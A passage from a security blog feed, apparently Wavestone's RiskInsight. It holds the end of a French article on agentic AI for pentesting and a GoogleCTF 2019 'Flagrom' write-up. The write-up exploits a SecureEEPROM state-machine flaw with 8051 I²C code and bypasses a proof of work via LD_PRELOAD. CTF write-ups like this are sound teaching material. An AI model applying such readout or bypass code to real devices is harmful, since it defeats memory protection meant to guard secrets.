<figure id="attachment_29677" aria-describedby="caption-attachment-29677" style="width: 1842px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-29677" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/9-Architecture-multi-etapes-potentielle-concue-pour-ameliorer-la-fiabilite-des-resultats-et-reduire-la-charge-inutile-sur-le-modele.png" alt="Architecture multi-étapes potentielle conçue pour améliorer la fiabilité des résultats et réduire la charge inutile sur le modèle" width="1842" height="764" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/9-Architecture-multi-etapes-potentielle-concue-pour-ameliorer-la-fiabilite-des-resultats-et-reduire-la-charge-inutile-sur-le-modele.png 1842w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/9-Architecture-multi-etapes-potentielle-concue-pour-ameliorer-la-fiabilite-des-resultats-et-reduire-la-charge-inutile-sur-le-modele-437x181.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/9-Architecture-multi-etapes-potentielle-concue-pour-ameliorer-la-fiabilite-des-resultats-et-reduire-la-charge-inutile-sur-le-modele-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/9-Architecture-multi-etapes-potentielle-concue-pour-ameliorer-la-fiabilite-des-resultats-et-reduire-la-charge-inutile-sur-le-modele-768x319.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/9-Architecture-multi-etapes-potentielle-concue-pour-ameliorer-la-fiabilite-des-resultats-et-reduire-la-charge-inutile-sur-le-modele-1536x637.png 1536w" sizes="auto, (max-width: 1842px) 100vw, 1842px" /><figcaption id="caption-attachment-29677" class="wp-caption-text"><em>Architecture multi-étapes potentielle conçue pour améliorer la fiabilité des résultats et réduire la charge inutile sur le modèle</em></figcaption></figure>
<p style="text-align: justify;">Enfin, une réflexion intéressante : ces solutions automatisées pouvant être utilisées par de vrais attaquants, nous pourrions voir émerger des mécanismes “anti-IA” intégrés dans les applications, tels que des “labyrinthes de liens” et des <em>honeypots</em> draineurs de tokens conçus spécifiquement pour induire en erreur ou épuiser les systèmes de test automatisés.</p>
<p style="text-align: justify;">Avec des modèles suffisamment puissants, les systèmes agentiques peuvent déjà exceller dans des environnements contraints comme les CTF. Leurs performances dans les évaluations d’applications réelles sont plus mitigées : souvent utiles, parfois impressionnantes, mais encore trop incohérentes pour être utilisées sans supervision humaine.</p>
<p style="text-align: justify;">La voie la plus pragmatique aujourd’hui est donc un modèle opérationnel hybride : un système agentique réalisant la majorité des tests et proposant des directions d’investigation, accompagné de pentesters humains arbitrant, validant et prenant le relai dans les cas les plus complexes. On a ainsi une évaluation sécurité bien moins longues, tout en garantissant un degré de couverture et de pertinence des résultats.</p>
<p style="text-align: justify;">L’IA agentique ne s’annonce donc pas comme remplacement à l’humain. À son niveau de maturité actuel, elle est mieux appréhendée comme un multiplicateur de force, capable d&rsquo;accélérer l&rsquo;exploration et le tri, mais qui dépend encore de la supervision d&rsquo;experts pour transformer une activité autonome brute en résultats de sécurité fiables. Dans tous les cas, ces systèmes doivent être considérés comme hautement sensibles en raison de leur nature autonome, et les contraintes actuelles liées aux modèles hébergés en SaaS doivent être prises en compte, en termes de confidentialité des données et de souveraineté numérique.</p>
<p style="text-align: justify;">Sans être encore pleinement matures, ces solutions commencent à laisser une empreinte dans le paysage de la cybersécurité, et modifieront très probablement la trajectoire du marché du pentest, vers un écosystème davantage centré autour d’outils et de ressources de calcul, tout en conservant une approche hybride. Nous pourrions même voir des audits suivre un modèle “Bring Your Own Compute”, où les audités fournissent le LLM, et les auditeurs fournissent les outils et « skills ».</p>
<p style="text-align: justify;"> </p>
<p> </p>
<p> </p>






<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/04/ia-agentique-pour-la-securite-offensive/">IA Agentique pour la Sécurité Offensive</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/04/ia-agentique-pour-la-securite-offensive/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>GoogleCTF 2019 Quals – Flagrom Challenge Writeup</title>
		<link>https://www.riskinsight-wavestone.com/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/</link>
		
		<dc:creator><![CDATA[Gauthier Sebaux]]></dc:creator>
		<pubDate>Tue, 23 Jul 2019 17:14:02 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[challenge; concours;]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[write up]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15578</guid>

					<description><![CDATA[<p>On June 22 and 23, 2019, Wavestone CTF team YoloSw4g took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/">GoogleCTF 2019 Quals – Flagrom Challenge Writeup</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-NRoX8x8cCbs/XTb162VokSI/AAAAAAAAApo/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs/s1600/header.jpg"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-NRoX8x8cCbs/XTb162VokSI/AAAAAAAAApo/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs/s640/header.jpg" width="640" height="160" border="0" data-original-height="200" data-original-width="800" /></a></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">On June 22 and 23, 2019, Wavestone CTF team <i>YoloSw4g</i> took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software security.</div>
<div style="text-align: justify;"></div>
<style type="text/css">
span.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br />.w-user { color: cornflowerblue; font-family: monospace !important; }<br />.w-root { color: lightcoral; font-family: monospace !important; }<br />.w-server { color: chartreuse; font-family: monospace !important; }<br />.w-cli { color: lightskyblue; font-family: monospace !important; }<br />.w-grepped { color: red; font-family: monospace !important; }<br />.w-all { font-family: monospace !important; }<br />.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br />.sc0 { font-family: monospace !important; }<br />.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br />.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc11 { font-family: monospace !important; }<br />.sc16 { color: rgb(103, 140, 177); font-family: monospace !important; }<br />#table_wiki { width: 100%; border-collapse: collapse; }<br />#table_wiki td { text-align: center; border: 1px solid gray; width: 8%; background-color: rgb(245, 239, 237); }<br />.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br />.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc6 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc9 { color: rgb(160, 130, 189); font-family: monospace !important; }<br />.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br /></style>
<p>&nbsp;</p>
<h3 style="text-align: justify;">Introduction</h3>
<div style="text-align: justify;">The goal of the challenge is simple and given in the description:</div>
<p><span class="w-code">This 8051 board has a SecureEEPROM installed. It&rsquo;s obvious the flag is stored there. Go and get it.</span></p>
<div style="text-align: justify;">Four files are provided with it:</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/flagrom?raw=true">flagrom</a>: an ELF64 which is the main program,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/firmware.8051?raw=true">firmware.8051</a>: the firmware which is compiled for an Intel 8051 microcontroller,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/firmware.c">firmware.c</a>: the source code of firmware.8051,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/seeprom.sv">seeprom.sv</a>: the hardware description (in SystemVerilog) of the SecureEEPROM.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">At the first launch, a proof of work is required:</div>
<div style="text-align: justify;"><span class="w-code">$ <span class="w-cli">./flagrom </span><br />
What&rsquo;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with <span class="w-grepped">55d55d</span>?´</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">The <b>LD_PRELOAD</b> functionality allows you to bypass the proof of work when executing locally. To do this, simply redefine the <i>exit() </i>function to do nothing:</div>
<div style="text-align: justify;"><span class="w-code"><span class="sc16">void</span> <span class="sc11">exit</span><span class="sc10">(</span><span class="sc16">int</span> <span class="sc11">x</span><span class="sc10">){</span><span class="sc0"><br />
</span><span class="sc11">x</span> <span class="sc10">=</span> <span class="sc4">1</span> <span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></div>
<div style="text-align: justify;">It is then possible to get an overview of how the challenge works:</div>
<p><span class="w-code">$ <span class="w-cli">LD_PRELOAD=exit.so ./flagrom </span><br />
What&rsquo;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be?<br />
That looks wrong. Good bye.<br />
Wrong answer. Good bye.<br />
What&rsquo;s the length of your payload?<br />
0<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
Clean exit.</span></p>
<div style="text-align: justify;"><b>Flagrom </b>operates as follows:</div>
<div style="text-align: justify;">
<ul>
<li>Get a proof of work,</li>
<li>Get usercode from the user (the payload),</li>
<li>Execute the firmware,</li>
<li>Execute the usercode.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Let&rsquo;s take a look at the firmware code:</div>
<p><span class="w-code"><span class="sc16">void</span> <span class="sc11">main</span><span class="sc10">(</span><span class="sc16">void</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">write_flag</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">secure_banks</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">remove_flag</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">write_welcome</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">POWEROFF</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></p>
<div style="text-align: justify;">The <i>main()</i> function sum up all actions:</div>
<div style="text-align: justify;">
<ul>
<li>The flag is written in the SecureEEPROM, starting at address 64.</li>
<li>The second 64-byte bank (the one with the flag) is <b>secured against access</b>.</li>
<li>The <b>flag is removed</b> from the main program memory.</li>
<li>The string « Hello there » is written in the SecureEEPROM, starting at address 0.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Understanding the SecureEEPROM</h3>
</div>
<div style="text-align: justify;">All communications with the SecureEEPROM is perform with the I²C protocol. Before going into the SecureEEPROM code, it is necessary to understand how I²C works.</div>
<div style="text-align: justify;">It is a 2-wires master-slave communication protocol widely used in hardware. The first wire, named SCL, serves as a clock to indicated when a signal is safe for reading. The second wire, named SDA, holds the data to be transmitted.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-6CXt0-ApxMw/XTb16Ga-g3I/AAAAAAAAAps/kHpJlrFLRVQrl_Up6zGiz8cm4IuriivTQCEwYBhgL/s1600/1.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-6CXt0-ApxMw/XTb16Ga-g3I/AAAAAAAAAps/kHpJlrFLRVQrl_Up6zGiz8cm4IuriivTQCEwYBhgL/s640/1.png" width="640" height="106" border="0" data-original-height="267" data-original-width="1600" /></a></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Timing diagram of a I²C communication (source: Wikipedia)</span></i></div>
</div>
<div style="text-align: justify;">An I²C transaction is a composed of:</div>
<div style="text-align: justify;">
<ul>
<li>A <i>start bit</i> (in yellow) which indicate a new transaction is about to be sent,</li>
<li>Several data bits (in green), indicated with a high SCL,</li>
<li>A <i>stop bit</i> (in yellow) which indicate the end on the transaction.</li>
</ul>
</div>
<div style="text-align: justify;">After every byte, a special state of SDA and SCL allows slaves to acknowledge (ACK) the reception of data.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">I²C specifications define an addressing structure to indicate which slave is the recipient:</div>
<div style="text-align: justify;">
<ul>
<li>The address constitutes the first 7 bits of the transaction (most significant bit first).</li>
<li>The 8th bit indicates whether it is a read (1) or write (0) action.</li>
<li>The slave acknowledges here (first byte).</li>
<li>The rest is the data which is device-specific.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<table id="table_wiki">
<tbody>
<tr>
<td style="background-color: #dfdcd4;" rowspan="4">Start</td>
<td colspan="7">Slave address</td>
<td style="background-color: #dacdeb;">R/W</td>
<td style="background-color: #dfdcd4;" rowspan="4">ACK</td>
<td rowspan="4">Data</td>
<td style="background-color: #dfdcd4;" rowspan="4">Stop</td>
</tr>
<tr>
<td>0</td>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td style="background-color: #dacdeb;">7</td>
</tr>
<tr>
<td rowspan="2">MSB</td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2">LSB</td>
<td style="background-color: #dacdeb;">0 = R</td>
</tr>
<tr>
<td style="background-color: #dacdeb;">1 = W</td>
</tr>
</tbody>
</table>
<div style="text-align: center;"><i><span style="font-size: x-small;">Addressing structure of an I²C transaction</span></i></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">For the SecureEEPROM, two addresses are defined in <i>firmware.c</i>:</div>
<div style="text-align: justify;">
<ul>
<li>The address of the memory module used to read and write data in the EEPROM,</li>
<li>The address of the security module used to secure EEPROM data banks.</li>
</ul>
</div>
<div style="text-align: justify;">The messages to the security module do not exactly follows this structure. A 4-bit prefix is used as slave address, while the remaining four bits (bits 4 to 7) are used to indicate which 64-bytes bank to secure.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Let&rsquo;s now take a deeper look at the hardware description of the SecureEEPROM. It is written in SystemVerilog syntax. If you are not comfortable with it, you should first read the Wikipedia page to understand the basis.</div>
<div style="text-align: justify;">Some procedural blocks are used to keep track of the state of the I²C bus within the program:</div>
<div style="text-align: justify;">
<ul>
<li><b>i2c_scl_state </b>keeps track of the state of the SCL wire. It may be stable high, stable low or on a rising or falling edge.</li>
<li><b>i2c_start </b>and <b>i2c_stop </b>are set whenever a start or stop bit is sent on the bus.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">The main part of the SecureEEPROM hardware is a Flip-Flop procedural block (<b>always_ff</b>) which defines a finite state machine to handle I²C communications and actions on the EEPROM.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"></div>
<p><a style="margin-left: 1em; margin-right: 1em; text-align: center;" href="https://1.bp.blogspot.com/-0wpaO63mcJY/XTcCOF4K8UI/AAAAAAAAAqM/8NlIiuRYg8kb8rQPHZJsz4wrYO6JydVVgCLcBGAs/s1600/2.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-0wpaO63mcJY/XTcCOF4K8UI/AAAAAAAAAqM/8NlIiuRYg8kb8rQPHZJsz4wrYO6JydVVgCLcBGAs/s640/2.png" width="609" height="640" border="0" data-original-height="1160" data-original-width="1105" /></a></p>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Finite state machine of the SecureEEPROM</span></i></div>
</div>
<div style="text-align: justify;">
<ul>
<li>The SecureEEPROM start in the state I2C_IDLE where it waits for a start bit to be received.</li>
<li>After the start bit, it reads the first control byte to get the slave address (control_prefix) to perform the right actions.</li>
<li>When the recipient is the security module, the bank index is contained in the least four significant bits of the control. It is directly secured and the SecureEEPROM returns in the I2C_IDLE state.</li>
<li>When the recipient is the EEPROM module, the action depends on the R/W bit of the control byte:
<ul>
<li>For write action, the EEPROM first read an address before writing into memory.</li>
<li>For read action, the EEPROM need to have already an address loaded before sending bytes of its memory. To read the EEPROM from the user program, one should
<ul>
<li>Start a write transaction to the EEPROM module and load the address,</li>
<li>Start a new read transaction to the EEPROM module without a stop bit,</li>
<li>Read the required number of bytes,</li>
<li>Send a stop bit to end the transaction.</li>
</ul>
</li>
</ul>
</li>
</ul>
<ul>
<li>In any state, the reception of a stop bit will clear the loaded address and transition to the I2C_IDLE state.</li>
<li>In any state, the reception of a start bit will transition to the I2C_START state without clearing the loaded address.</li>
</ul>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3>Reading secured areas</h3>
</div>
<div style="text-align: justify;">
<h4>Finding the vulnerability</h4>
</div>
<div style="text-align: justify;">The protection of the memory, in the EEPROM, is performed at two stages:</div>
<div style="text-align: justify;">
<ul>
<li>When an address is loaded, if the pointed memory location is secured, the address is tainted as invalid (<b>i2c_address_valid</b> = 0),</li>
<li>After each read or write action, the loaded address is increased only if the security of the next address is the same as the security of the current address.</li>
</ul>
</div>
<div style="text-align: justify;">The latter condition is strange: why not only check whether next address is secured? It means that it is possible to read secured address if the current address is secured. However, we cannot load a secured address because of the former condition.</div>
<div style="text-align: justify;">What about changing the security of the current address after loading it?</div>
<div style="text-align: justify;">
<ul>
<li>When a bank is secured, the loaded address is not checked nor invalidated.</li>
<li>We cannot send any stop bit otherwise the loaded address would be invalidated.</li>
<li>However, we can use the start bit to start a new transaction while keeping the address loaded.</li>
</ul>
</div>
<div style="text-align: justify;">
<p>With this in mind, a path of three transactions can be found to read secured areaFirst load an address in the first unprotected bank and end with a start bit:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-ea3gOmmP50s/XTcDq6OL3BI/AAAAAAAAAqk/V7qRFMMvEf0HBix9pchtVUwdC3qL-SitgCLcBGAs/s1600/3.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-ea3gOmmP50s/XTcDq6OL3BI/AAAAAAAAAqk/V7qRFMMvEf0HBix9pchtVUwdC3qL-SitgCLcBGAs/s640/3.png" width="640" height="454" border="0" data-original-height="611" data-original-width="860" /></a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;"> </span></i></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — load an unprotected address</span></i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<p>Then secure the first bank:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-87VxHPpRYPI/XTcD8u8jqRI/AAAAAAAAAqs/84LQ1r5eTn0Mc7GtlQSJDJKwBuNEXtbLACLcBGAs/s1600/4.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-87VxHPpRYPI/XTcD8u8jqRI/AAAAAAAAAqs/84LQ1r5eTn0Mc7GtlQSJDJKwBuNEXtbLACLcBGAs/s640/4.png" width="640" height="280" border="0" data-original-height="379" data-original-width="861" /></a></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — secure the bank of the loaded address</span></i></div>
</div>
<div style="text-align: justify;">
<p>Finally, start a read action and read past the current bank boundaries:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-yh4f-R4YeXc/XTcEDSqMs_I/AAAAAAAAAqw/qASujmVFdwAzk1X41k41i55AjFM41LyHwCLcBGAs/s1600/5.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-yh4f-R4YeXc/XTcEDSqMs_I/AAAAAAAAAqw/qASujmVFdwAzk1X41k41i55AjFM41LyHwCLcBGAs/s640/5.png" width="590" height="640" border="0" data-original-height="866" data-original-width="800" /></a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — read past the current bank</span></i></div>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Exploitation from a user code</h4>
</div>
<div style="text-align: justify;">Now that the exploitation path is known, a user code needs to be written to exploit it. The 8051 microcontroller provides a high-level interface for I²C communications.</div>
<p><span class="w-code"><span class="sc16">void</span> <span class="sc11">seeprom_write_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">addr</span><span class="sc10">,</span> <span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">value</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">seeprom_wait_until_idle</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">I2C_ADDR</span> <span class="sc10">=</span> <span class="sc11">SEEPROM_I2C_ADDR_MEMORY</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_LENGTH</span> <span class="sc10">=</span> <span class="sc4">2</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_ERROR_CODE</span> <span class="sc10">=</span> <span class="sc4">0</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_DATA</span><span class="sc10">[</span><span class="sc4">0</span><span class="sc10">]</span> <span class="sc10">=</span> <span class="sc11">addr</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_DATA</span><span class="sc10">[</span><span class="sc4">1</span><span class="sc10">]</span> <span class="sc10">=</span> <span class="sc11">value</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_RW_MASK</span> <span class="sc10">=</span> <span class="sc4">0b00</span><span class="sc10">;</span> <span class="sc1">// 2x Write Byte<br />
</span><span class="sc0"><br />
</span><span class="sc11">I2C_STATE</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">seeprom_wait_until_idle</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></p>
<div style="text-align: justify;">It is, however, not possible to change the address within the same communication. A raw access to I²C wires is however provided:</div>
<p><span class="w-code"><span class="sc11">__sfr</span> <span class="sc11">__at</span><span class="sc10">(</span><span class="sc4">0xfa</span><span class="sc10">)</span> <span class="sc11">RAW_I2C_SCL</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">__sfr</span> <span class="sc11">__at</span><span class="sc10">(</span><span class="sc4">0xfb</span><span class="sc10">)</span> <span class="sc11">RAW_I2C_SDA</span><span class="sc10">;</span></span></p>
<div style="text-align: justify;">Wikipedia provides an <a href="https://en.wikipedia.org/wiki/I%C2%B2C#Example_of_bit-banging_the_I%C2%B2C_master_protocol">example in C code</a> in the I²C page. It can be used as a base for the exploitation program. It gives two high level function to read and write bytes:</div>
<p><span class="w-code"><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_start</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_stop</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">byte</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">i2c_read_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_stop</span><span class="sc10">);</span></span></p>
<div style="text-align: justify;">The acknowledgement of the function i2c_read_byte needs to be modified for it to work with the EEPROM. The EEPROM can be exploited with the following code:</div>
<p><span class="w-code"><span class="sc9">#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1)<br />
#define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0)<br />
</span><span class="sc0"><br />
</span><span class="sc16">void</span> <span class="sc11">main</span><span class="sc10">(</span><span class="sc16">void</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc16">int</span> <span class="sc11">i</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">« start user program\n »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Load address 0 */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_CTRL_WRIT</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">0</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Secure all banks */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_ADDR_SECURE</span> <span class="sc10">|</span> <span class="sc4">0b1111</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Read 255 bytes of memory */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_CTRL_READ</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc10">(</span><span class="sc11">i</span><span class="sc10">=</span><span class="sc4">0</span><span class="sc10">;</span> <span class="sc11">i</span><span class="sc10">&lt;</span><span class="sc4">255</span><span class="sc10">;</span> <span class="sc11">i</span><span class="sc10">++)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc10">(</span><span class="sc11">i</span><span class="sc10">%</span><span class="sc4">64</span> <span class="sc10">==</span> <span class="sc4">0</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">« \n »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc11">CHAROUT</span> <span class="sc10">=</span> <span class="sc11">i2c_read_byte</span><span class="sc10">(</span><span class="sc4">0</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">« \n »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">POWEROFF</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></p>
<div style="text-align: justify;">The full exploitation program can be found <a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/solve/hack.c">here</a>. On Linux, the compiler sdcc supports Inter 8051 microcontroller and may be used. It generates an IntelHex format which should be converted to a raw binary. Some Python libraries exist to perform the conversion.</div>
<p><span class="w-code">$ <span class="w-cli">{ echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=../solve/exit.so ./flagrom</span><br />
What&rsquo;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4?<br />
That looks wrong. Good bye.<br />
Wrong answer. Good bye.<br />
What&rsquo;s the length of your payload?<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
start user program<br />
Hello there.<br />
<span class="w-grepped">On the real server the flag is loaded here.</span><br />
Clean exit.<br />
</span></p>
<div style="text-align: justify;">The code works just fine on the local instance and we successfully get a fake flag.</div>
<div style="text-align: justify;">
<h3>Exploiting the remote service</h3>
</div>
<div style="text-align: justify;">
<h4>Completing the proof of work</h4>
</div>
<div style="text-align: justify;">To exploit the SecureEEPROM remotely, the final step is to perform the proof of work. Nothing complex in it, just brute force until you find a valid proof. Here is a Python code doing that:</div>
